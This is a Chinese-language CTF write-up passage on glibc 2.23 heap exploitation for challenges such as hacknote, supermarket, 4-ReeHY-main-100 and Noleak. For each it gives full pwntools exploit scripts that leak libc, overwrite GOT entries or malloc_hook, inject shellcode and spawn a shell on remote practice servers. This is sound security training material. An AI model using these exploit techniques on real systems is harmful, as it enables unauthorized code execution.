pad(p_rdi_r,3,p_rsi_r15_r,bss_addr,0,p_rdx_r,0x200,read_plt) py += pad(p_rdi_r,1,p_rsi_r15_r,bss_addr,0,p_rdx_r,0x200,write_plt) # print(len(py)) # 288 sl(py) shut('write') p.interactive() connect() pwn()
堆
fastbin Attack
6※ hacknote
-
checksec 检查保护,没开 PIE,是 32位程序:
-
strings 检查 glibc 版本,发现是 glibc 2.23,没有 tcache:
-
IDA32 打开,简单逆向一下,发现是一道菜单堆题,有 Add,Del,Show 三个功能:
-
先写出菜单函数:
-
查看 Add 功能,发现最多申请 5 次堆,发现每次是申请 0x08 大小的堆用来存放两个指针。第一个指针存放一个 Display 函数的地址,第二个指针存放申请用来存放数据的堆的地址:
-
查看 Del 功能,发现存在 UAF 漏洞:
-
查看 Show 功能,发现通过调用存放在第一个指针内的 Display 函数,并把其地址传了进去:
-
我们查看 Display 函数,发现实则是调用 puts 函数输出第二个指针内的内容:
-
由于存在 UAF 漏洞,我们可以利用 fastbin 的单向链表性质。先申请两个 0x10 大小的堆,然后将其释放掉,此时的堆结构:
-
此时 4 个堆全部进入 fastbin,而在 0x10 大小(含堆头)的 fastbin 中有 chunk2 -> chunk0,所以我们此时再申请一个 0x08 大小的堆,存放两个指针的堆会是 chunk2,存放数据的堆会是 chunk0。
Add(0x10, b'a') Add(0x10, b'b') Del(0) Del(1)
-
那么我们申请时写入的数据就会覆盖 chunk0 里面存放的两个指针,我们将其分别覆盖为 Display 函数和 puts_got,然后 Show(0),就可以输出 puts 函数的 got 内的地址了,然后就可以泄露 libc,获得 system 函数的地址:
Add(0x08,pad32(display_addr,puts_got)) Show(0) Pwn.leak_libc("puts",uu32()) system_addr = Pwn.get_libc("symbols","system")[0]
-
接着我们把这个 0x08 大小的堆释放掉,重新申请一次仍然会在相同的位置,还会覆盖 chunk0 的两个指针,那么我们这次覆盖为 system_addr 和 "||sh"。
-
假设 system_addr = 0x11223344,这样在 show(0) 的时候会执行
system("\x44\x33\x22\x11||sh")
,由于前面那四个字节为非法指令为 flase,便会执行||
后面的sh
指令,便可以获得权限了:Del(2) Add(0x8, p32(system_addr)+b'||sh') Show(0)
-
完整 exp(里面 import 了一个我自己写的库):
from ShallowDreamTools import * Pwn.init(File="hacknote",Libc="libc_32.so.6",Url="61.147.171.105:53290") Pwn.connect() puts_got = Pwn.get_elf("got","puts")[0] display_addr = 0x804862B def cmd(idx): sla(b'Your choice :', str(idx).encode()) def Add(size, content): cmd(1) sla(b'Note size :', str(size).encode()) sa(b'Content :', content) def Del(index): cmd(2) sla(b'Index :', str(index).encode()) def Show(index): cmd(3) sla(b'Index :', str(index).encode()) Add(0x10, b'a') Add(0x10, b'b') Del(0) Del(1) Add(0x08,pad32(display_addr,puts_got)) Show(0) Pwn.leak_libc("puts",uu32()) system_addr = Pwn.get_libc("symbols","system")[0] Del(2) Add(0x8, p32(system_addr)+b'||sh') Show(0) ita()
5※ note-service2
-
checksec 检查保护,发现 Got 表可改,NX 没开:
-
题目没给 libc 和 ld,根据 WriteUp 得知赛时给的是 2.23,没有 tcache
-
IDA64 打开,简单逆向一下,发现是只有 Add 和 Del 功能的菜单堆题:
-
在 Add 功能中发现,存放堆指针的数组下标可以越界,那么我们可以修改 atoi 函数的 Got 表为某个堆,又由于没开 NX,我们可以在堆内写入 shellcode,在下次 atoi 函数的时候就会执行 shellcode 了。
-
但是申请的堆最大只能有 0x08,并且通过自定义的 getline 只能读入最多 7个字节:
-
在 Del 功能中发现存在 UAF 漏洞,不过本题不需要使用:
-
那么由于 64位最小的堆要求大小为 0x10,申请的 0x08 也会申请 0x10,后面带有 0x08 个空数据。
-
由于我们没法用一个堆写完 shellcode,我们只能将 shellcode 每条汇编指令分别存在每个堆中,通过 jmp 指令在堆中跳转:
-
需要注意的是堆是从上往下申请的,我们需要从最后一个堆开始往前运行。jmp 指令算的偏移量为:jmp 指令结束后的位置与目标位置的差值,所以我们让 jmp结束后为第8个字节,这样每次都是固定减去 0x27 个字节即可:
op = [asm("xor rax,rax"),asm("mov eax,0x3b"),asm("xor rsi,rsi"),asm("xor rdx,rdx"),asm("syscall")] op = [x.ljust(5,b'\x90')+b'\xeb\xd9' for x in op][::-1] #\xeb 是 jmp 的机器码,\xd9 为 -0x27
-
最后写出完整 exp:
from ShallowDreamTools import * Pwn.init(File="./note_service2",Url="61.147.171.105:64362",log_level="INFO") Pwn.connect() def cmd(idx): sla(b'your choice>> ',idx) def Add(idx,size,content): cmd(b'1') sla(b'index:',str(idx).encode()) sla(b'size:',str(size).encode()) sa(b'content:',content) def Del(idx): cmd(b'4') sla(b'index:',str(idx).encode()) op = [asm("xor rax,rax"),asm("mov eax,0x3b"),asm("xor rsi,rsi"),asm("xor rdx,rdx"),asm("syscall")] # print([len(x) for x in op]) op = [x.ljust(5,b'\x90')+b'\xeb\xd9' for x in op][::-1] #\xeb 是 jmp 的机器码,\xd9 为 -0x27 for i in range(0,5): Add(i,0x08,op[i]) Add(-8,0x08,op[5]) # 修改 atoi 的 Got 表为最后一个堆的地址 cmd(b'/bin/sh') ita()
unsortedbin attac
5※ supermarket
-
考点:unsortedbin
-
checksec 检查保护,Got 表可写,没开 PIE,32 位程序:
-
strings 检查 glibc,为 2.23 版本,没有 tcache:
-
IDA 32 打开,简单逆向一下,发现存在 Add,Del,Show,Price,Edit 共 5 个功能:
-
在 Add 功能中发现申请了一个大概如下的结构:
-
自定义的 my_getline 函数会少输入一个字节,不存在溢出:
-
在 Del 功能中发现 description 的堆没有清零:
-
在 Edit 中发现,使用 realloc 函数来修改大小,但是并没有将修改后的指针更新原来的 description 指针,因此当申请了一个更大的大小时,会将原来的 chunk 释放掉,存在 UAF 漏洞:
-
由于题目是现申请一个堆用来存放 struct 结构,在申请一个堆存放 description 数据,如果我们释放掉的堆和 struct 申请的堆 0x1C 大小相同,下次申请的时候 struct 的结构就会申请到 chunk0 的 description 指向的这个堆,我们就可以修改其 description 指针了。
-
但是仔细看程序自定义的 getline 函数,里面输入的长度少 1,而我们需要覆盖的 description 指针又恰好在 struct 的最后,这会导致少覆盖一个字节,所以不能申请 0x1C 大小的 fastbin 堆。
-
我们需要释放一个 unsortedbin 堆,这样也能实现下一个分配的堆分配到可控位置,由于这是 32位程序,0x08 - 0x38(不含堆头)的大小会进入 fastbin,我们申请一个 0x40 大小的堆,然后在申请一个堆隔离。
-
接着 Edit 改为 0x50 大小,利用 realloc 函数释放进入 unsortedbin,最后申请一个任意大小的堆,就可以控制其 struct 结构了。
Add(b"chunk0",1,0x40,b'aaaa') # 需 unsorted bin Add(b'chunk1',2,0x100,b'bbbb') # 隔离 Edit(b'chunk0',0x50,b'') # 不能输入数据,会覆盖 unsortedbin 的 fd 指针 Add(b'chunk2',3,0x30,b'cccc') # 申请任意一个堆
-
接着我们将 description 改为 atoi 的 Got 表地址,Show 就可以泄露 libc 了,然后将 atoi 的 Got 表内地址改为 system 函数,下次输入
/bin/sh
就可以获得权限了。 -
完整 exp:
from ShallowDreamTools import * Pwn.init(File="./supermarket",Libc='libc.so.6',Url="61.147.171.105:60181",log_level="INFO") Pwn.connect() atoi_got = Pwn.get_elf("got","atoi")[0] def cmd(idx): sla(b'your choice>> ',idx) def Add(name,price,descrip_size,description): cmd(b'1') sla(b'name:',name) sla(b'price:',str(price).encode()) sla(b'descrip_size:',str(descrip_size).encode()) sla(b'description:',description) def Del(name): cmd(b'2') sa(b'name:',name) def Show(): cmd(b'3') def Price(name,value): cmd(b'4') sa(b'name:',name) sla(b'input the value you want to cut or rise in:',str(value).encode()) def Edit(name,size,content): cmd(b'5') sla(b'name:',name) sla(b'descrip_size:',str(size).encode()) sla(b'description:',content) Add(b"chunk0",1,0x40,b'aaaa') # 需 unsorted bin Add(b'chunk1',2,0x100,b'bbbb') # 隔离 Edit(b'chunk0',0x50,b'') # 不能输入数据,会覆盖 unsortedbin 的 fd 指针 Add(b'chunk2',3,0x30,b'cccc') # 申请任意一个堆 py = b'chunk2'.ljust(0x10,b'\x00') + pad32(3,0x30,atoi_got) Edit(b'chunk0',0x40,py) Show() ru(b'des.') libc = Pwn.leak_libc("atoi",uu32()) system_addr = Pwn.get_libc("symbols","system")[0] leak("libc_base",Pwn.libc_base) leak("system_addr",system_addr) Edit(b'chunk2',0x30,p32(system_addr)) cmd(b'/bin/sh') ita()
6※ 4-ReeHY-main-100
-
checksec 检查保护,发现 Got 表可写,没开 PIE:
-
由于题目给的 libc 版本是错误的,我们不知道 libc 版本,将本题当做模板题来学习多种解法。
-
IDA 64打开,简单逆向一下,发现菜单堆题,有 Add,Del,Edit 但是没有 Show:
-
在 Add 功能中发现存在 数组下标越界:
-
由于在程序初始化时,全局变量 Size 中存着 Size 数组的指针,是大小为 0x14 的堆,我们可以通过数组下标越界漏洞把 Chunk 前的 Size 堆释放了:
-
那么接着我们可以申请一个 0x14 大小的堆,就可以修改堆的大小,然后就可以通过 Edit 函数进行堆溢出了。
-
接着我们需要修改 Got 表,让 free 的 Got 表改为 puts_plt 就可以泄露 libc 的基地址了。由于我们知道 chunk 指针的地址,里面存放着 chunk0 的地址,我们可以使用 unlink 手法,然后控制 chunk 数组,修改里面的堆指针。
-
所以我们需要申请两个大小为 unsortedbin 的堆 0x80(libc 2.23):
Add(0x80,0,b'chunk0') Add(0x80,1,b'chunk1') Del(-2) py = pad32(0x100,0x80) Add(0x14,2,py) # 修改记录堆大小的数组,第一个堆改大一点就可以堆溢出了
-
然后 unlink:
py = pad64(0,0x81,chunk_addr-0x18,chunk_addr-0x10) + b'a'*0x60 # 伪装堆 py += pad64(0x80,0x90) # 修改下一个块的 pre_size = 0x80 和 in_use = 0,假装上一个伪装堆被释放了 Edit(0,py) Del(1)
-
接着修改 free_got 为 puts_plt,就可以泄露其他函数的地址了:
py = b'\x00' * 0x18 + pad64(free_got,1,puts_got,1,atoi_got,1) Edit(0, py) py = p64(puts_plt) Edit(0,py) # 改 free 为 puts_plt
-
修改 atoi 的 Got 地址为 system:
py = pad64(system_addr) Edit(2,py) # 修改 atoi_got 为 system cmd(b'/bin/sh') # get_shell
-
至此获得了权限。但在未知 libc 的时候其实刚开始是当作有 tcache 来做的,接下来介绍刚开始的两种做法。
-
使用 tcache-poisoning 技术,通过数组下标越界,释放 Size 堆进行修改堆大小实现堆溢出,然后覆盖 tcache 的 fd 指针,将堆申请在 chunk 数组上。后续步骤相同:
def glibc_2_26_tcache_poisoning(): # 题目环境为 libc 2.23 无法使用 sl(b'ShallowDream3') Add(0x40,0,b'chunk0') Add(0x40,1,b'chunk1') Del(1) Del(-2) py = pad32(0x80,0x40) Add(0x14,2,py) # 修改记录堆大小的数组,第一个堆改大一点就可以堆溢出了 py = b'a'*0x40 + pad64(0,0x51,chunk_addr) Edit(0,py) # 通过 chunk0 修改进入 tcache 的 chunk1 的 fd 指针 Add(0x40,1,b'chunk1') py = pad64(free_got,1,puts_got,1,atoi_got,1) Add(0x40,3,py) # 修改前三个 chunk 指针为 free_got,puts_got,atoi_got py = p64(puts_plt) Edit(0,py) # 修改 free_got 为 puts_plt Del(1) # puts(puts_got) Pwn.leak_libc("puts",uu64()) system_addr = Pwn.get_libc("system")[0] py = pad64(system_addr) Edit(2,py) # 修改 atoi 的 Got 表为 system cmd(b'/bin/sh') ita()
-
然后改为使用堆重叠技巧,来 unsortedbin 上伪装堆来 unlink。但是这道题的堆空间十分有限,申请的堆过大就会导致覆盖到关键全局变量,就会导致误判 double free 的奇怪检测。
-
经过测试不能申请超过总和 0x200 的堆,本题无法使用。不过以下的堆重叠方法实现堆溢出进而 unlink 也是常用的方法,后续一样的修改 Got 表。猜测是本题希望使用数组下标溢出的预期解,于是进行了各种限制卡掉非预期解:
def chunk_overlapping_unlink(): # 题目限制了堆的大小,无法使用 sl(b'ShallowDream2') Add(0x420,0,b'chunk0') Add(0x420,1,b'chunk1') Add(0x10,2,b'chunk2') # 隔离 Del(1) Del(0) py = pad64(0,0x420,chunk_addr-0x18,chunk_addr-0x10) + b'a'*0x400 # 伪装一个大小为 0x410 的堆进入 tcache(不含堆头) py += pad64(0x420,0x420) + b'a'*0x410 # chunk1 需要伪装 pre_size 和 in_use = 0 py += pad64(0x420,0x21) + b'a'*0x10 # 伪装下一块的 pre_size 和 in_use = 1 Add(0x860,0,py) Del(1) # 触发 unlink py = b'a'*0x18 + pad64(free_got,1,atoi_got,1,puts_got,1) Edit(0,py) py = p64(puts_plt) Edit(0,py) Del(2) puts_addr = uu64() Pwn.libc = LibcSearcher("puts",puts_addr) Pwn.leak_libc("puts", puts_addr) system_addr = Pwn.get_libc("system")[0] py = pad64(system_addr) Edit(1, py) # 修改 atoi 的 Got 表为 system cmd(b'/bin/sh') ita()
-
最后附上完整 exp(其中引用了一个自己写的库,封装了一些常用 pwntools 工具和脚本):
from ShallowDreamTools import * from LibcSearcher import LibcSearcher Pwn.init(File='./4-ReeHY-main',Url="61.147.171.105:54305",log_level="INFO") Pwn.connect() free_got,atoi_got,puts_got,puts_plt = Pwn.get_elf("got","free","got","atoi","got","puts","plt","puts") chunk_addr = 0x06020E0 def cmd(idx): sla(b'$ ',idx) def Add(size,idx,content): cmd(b'1') sla(b'Input size\n',str(size).encode()) sla(b'Input cun\n',str(idx).encode()) sa(b'Input content\n',content) def Del(idx): cmd(b'2') sla(b'Chose one to dele\n',str(idx).encode()) def Edit(idx,content): cmd(b'3') sla(b'Chose one to edit\n',str(idx).encode()) sa(b'Input the content\n',content) def glibc_2_23_unlink(): # 已过远程 libc 2.23 sl(b'ShallowDream1') Add(0x80,0,b'chunk0') Add(0x80,1,b'chunk1') Del(-2) py = pad32(0x100,0x80) Add(0x14,2,py) # 修改记录堆大小的数组,第一个堆改大一点就可以堆溢出了 py = pad64(0,0x81,chunk_addr-0x18,chunk_addr-0x10) + b'a'*0x60 # 伪装堆 py += pad64(0x80,0x90) # 修改下一个块的 pre_size = 0x80 和 in_use = 0,假装上一个伪装堆被释放了 Edit(0,py) Del(1) py = b'\x00' * 0x18 + pad64(free_got,1,puts_got,1,atoi_got,1) Edit(0, py) py = p64(puts_plt) Edit(0,py) # 改 free 为 puts_plt Del(1) # puts(puts_got) puts_addr = uu64() Pwn.libc = LibcSearcher("puts",puts_addr) Pwn.leak_libc("puts",puts_addr,"dump") system_addr = Pwn.get_libc("dump","system")[0] py = pad64(system_addr) Edit(2,py) # 修改 atoi_got 为 system cmd(b'/bin/sh') ita() def chunk_overlapping_unlink(): # 题目限制了堆的大小,无法使用 sl(b'ShallowDream2') Add(0x420,0,b'chunk0') Add(0x420,1,b'chunk1') Add(0x10,2,b'chunk2') # 隔离 Del(1) Del(0) py = pad64(0,0x420,chunk_addr-0x18,chunk_addr-0x10) + b'a'*0x400 # 伪装一个大小为 0x410 的堆进入 tcache(不含堆头) py += pad64(0x420,0x420) + b'a'*0x410 # chunk1 需要伪装 pre_size 和 in_use = 0 py += pad64(0x420,0x21) + b'a'*0x10 # 伪装下一块的 pre_size 和 in_use = 1 Add(0x860,0,py) Del(1) # 触发 unlink py = b'a'*0x18 + pad64(free_got,1,atoi_got,1,puts_got,1) Edit(0,py) py = p64(puts_plt) Edit(0,py) Del(2) puts_addr = uu64() Pwn.libc = LibcSearcher("puts",puts_addr) Pwn.leak_libc("puts", puts_addr) system_addr = Pwn.get_libc("system")[0] py = pad64(system_addr) Edit(1, py) # 修改 atoi 的 Got 表为 system cmd(b'/bin/sh') ita() def glibc_2_26_tcache_poisoning(): # 题目环境为 libc 2.23 无法使用 sl(b'ShallowDream3') Add(0x40,0,b'chunk0') Add(0x40,1,b'chunk1') Del(1) Del(-2) py = pad32(0x80,0x40) Add(0x14,2,py) # 修改记录堆大小的数组,第一个堆改大一点就可以堆溢出了 py = b'a'*0x40 + pad64(0,0x51,chunk_addr) Edit(0,py) # 通过 chunk0 修改进入 tcache 的 chunk1 的 fd 指针 Add(0x40,1,b'chunk1') py = pad64(free_got,1,puts_got,1,atoi_got,1) Add(0x40,3,py) # 修改前三个 chunk 指针为 free_got,puts_got,atoi_got py = p64(puts_plt) Edit(0,py) # 修改 free_got 为 puts_plt Del(1) # puts(puts_got) Pwn.leak_libc("puts",uu64()) system_addr = Pwn.get_libc("system")[0] py = pad64(system_addr) Edit(2,py) # 修改 atoi 的 Got 表为 system cmd(b'/bin/sh') ita() glibc_2_23_unlink()
6※ Noleak
-
checksec 检查保护,发现竟然没开 NX 没开 PIE:
-
strings 检查 glibc 的版本,为 2.23,没有 tcache:
-
IDA64 简单逆向一下,菜单题只有 Add,Del,Edit,没有 Show 功能:
-
在 Del 功能中发现存在 UAF 漏洞:
-
在 Edit 功能中发现 堆溢出 漏洞:
-
由于没开 PIE,我们可以获得处于 bss 段的 heap_list 数组的地址,参考题解 中就此给出了 unlink 解法。
-
先让一个堆进入 unsortedbin,然后通过 unlink 修改 heap_list[0] 为 &heap_list - 0x18,以此修改地址为 bss_addr 往里面写入 shellcode。
-
接着让一个堆进入 unsortedbin,将其的 fd 指针改为 malloc_hook - 0x23,然后修改 unsortedbin 的 size 使其符合 fastbin。
-
最后利用 fastbin attack,修改下一个申请的堆到 malloc_hook - 0x23,接着就可以修改 malloc_hook 为 bss_addr 了。
- 这是标准的解题思路,但还有另一种 unsortedbin attack 解法:
-
让一个堆进入 unsortedbin,修改其 bk 指针为 &heap_list[5] - 0x10,此时将其申请回来就会往 target_addr 里写入 main_area 附近的那个地址了,这是因为 unsortedbin 是双向链表,删除节点时需要将 bk->fd 改为自己的 fd,而其原本的 fd 与 bk 都是 main_area附近 的地址。
-
接着我们就可以直接用 fastbin attack 往 bss 段上的 heap_list 上申请堆,由于刚才写入了一个 main_area 附近的地址,这里面有 0x7f 开头的一个地址可以用来伪装堆。
-
然后可以写入存着 main_area地址的 bss段地址,然后就可以修改这个写入的 main_area 为 malloc_hook 的地址,其二者只有末位不同,然后就可以修改 malloc_hook 为 bss_addr 了。
-
最后写入 bss_addr,然后修改 bss_addr 里的数据为 shellcode 即可。
-
那么我们只需要申请两个一大一小的堆:
Add(0x100,b'chunk0') # unsortedbin Add(0x60,b'chunk1') # fastbin
-
然后利用 unsortedbin attack 往 heap_list[4] 内写入 main_area - 88:
target_addr = 0x601060 # heap_list[4] Del(0) # 进入 unsortedbin py = p64(0) + p64(target_addr-0x10) Edit(0,py) Add(0x100,p64(0)) # unsortedbin attack
-
然后利用 fastbin attack 往 bss段上申请堆:
Del(1) # 进入 fastbin Edit(1,p64(target_addr-0x03)) Add(0x60,p64(0)) # 填充 fastbin py = b'\x00'*0x03 + pad64(target_addr,bss_addr) Add(0x60,py) # 申请后数据写到 target_addr + 0x05 的位置,我们先要对其 0x03 个字节后,写入 target_addr 和 bss_addr
-
然后稍作准备:
Edit(6,p8(attack_addr)) # [6] 内存着 target_addr 的地址,可以修改 [4] 内为 malloc_hook Edit(4,p64(bss_addr)) # [4] 内现在为 malloc_hook 地址,修改 malloc_hook 为 bss_addr Edit(7,asm(shellcraft.sh())) # [7] 内为 bss_addr 地址,往里面写入 shellcode
-
再次申请就可以出发 malloc_hook 了。
-
完整 exp:
from ShallowDreamTools import * Pwn.init(File="./timu",Url="61.147.171.105:51972",Libc="./libc-2.23.so",log_level="INFO") Pwn.connect() def cmd(idx): sla(b'Your choice :',idx) def Add(size,content,mod = "normal"): cmd(b'1') sla(b'Size: ',str(size).encode()) if mod == "getshell": return sa(b'Data: ',content) def Del(idx): cmd(b'2') sla(b'Index: ',str(idx).encode()) def Edit(idx,content): cmd(b'3') sla(b'Index: ',str(idx).encode()) sa(b'Size: ',str(int(len(content))).encode()) sa(b'Data: ',content) bss_addr = 0x601100 attack_addr = Pwn.libc.symbols["__malloc_hook"] & 0xff Add(0x100,b'chunk0') # unsortedbin Add(0x60,b'chunk1') # fastbin target_addr = 0x601060 # heap_list[4] Del(0) # 进入 unsortedbin py = p64(0) + p64(target_addr-0x10) Edit(0,py) Add(0x100,p64(0)) # unsortedbin attack Del(1) # 进入 fastbin Edit(1,p64(target_addr-0x03)) Add(0x60,p64(0)) # 填充 fastbin py = b'\x00'*0x03 + pad64(target_addr,bss_addr) Add(0x60,py) # 申请后数据写到 target_addr + 0x05 的位置,我们先要对齐 0x03 个字节后,写入 target_addr 和 bss_addr Edit(6,p8(attack_addr)) # [6] 内存着 target_addr 的地址,可以修改 [4] 内为 malloc_hook Edit(4,p64(bss_addr)) # [4] 内现在为 malloc_hook 地址,修改 malloc_hook 为 bss_addr Edit(7,asm(shellcraft.sh())) # [7] 内为 bss_addr 地址,往里面写入 shellcode Add(0x40,b'',"getshell") ita()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?